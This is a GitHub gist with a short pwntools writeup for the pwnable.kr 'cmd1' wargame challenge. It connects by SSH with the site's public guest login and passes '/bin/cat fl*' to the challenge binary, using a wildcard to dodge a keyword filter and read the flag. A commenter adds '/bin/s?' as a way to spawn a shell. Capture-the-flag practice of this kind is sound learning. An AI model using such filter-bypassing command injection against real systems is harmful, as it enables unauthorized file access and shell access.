Skip to content

Instantly share code, notes, and snippets.

@parksjin01
Last active March 12, 2018 21:42
Show Gist options
  • Select an option

  • Save parksjin01/e9e8b82fd2ac07e767c0095e3c6fc375 to your computer and use it in GitHub Desktop.

Select an option

Save parksjin01/e9e8b82fd2ac07e767c0095e3c6fc375 to your computer and use it in GitHub Desktop.
pwnable.kr cmd1 writeup
from pwn import *
sh = ssh(host='pwnable.kr', user='cmd1', password='guest', port=2222)
proc = sh.process(['/home/cmd1/cmd1', '/bin/cat fl*'])
print proc.recv(1024)
@gellyfisher
Copy link

alternative is to use '/bin/s?' instead of '/bin/cat fl*'

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment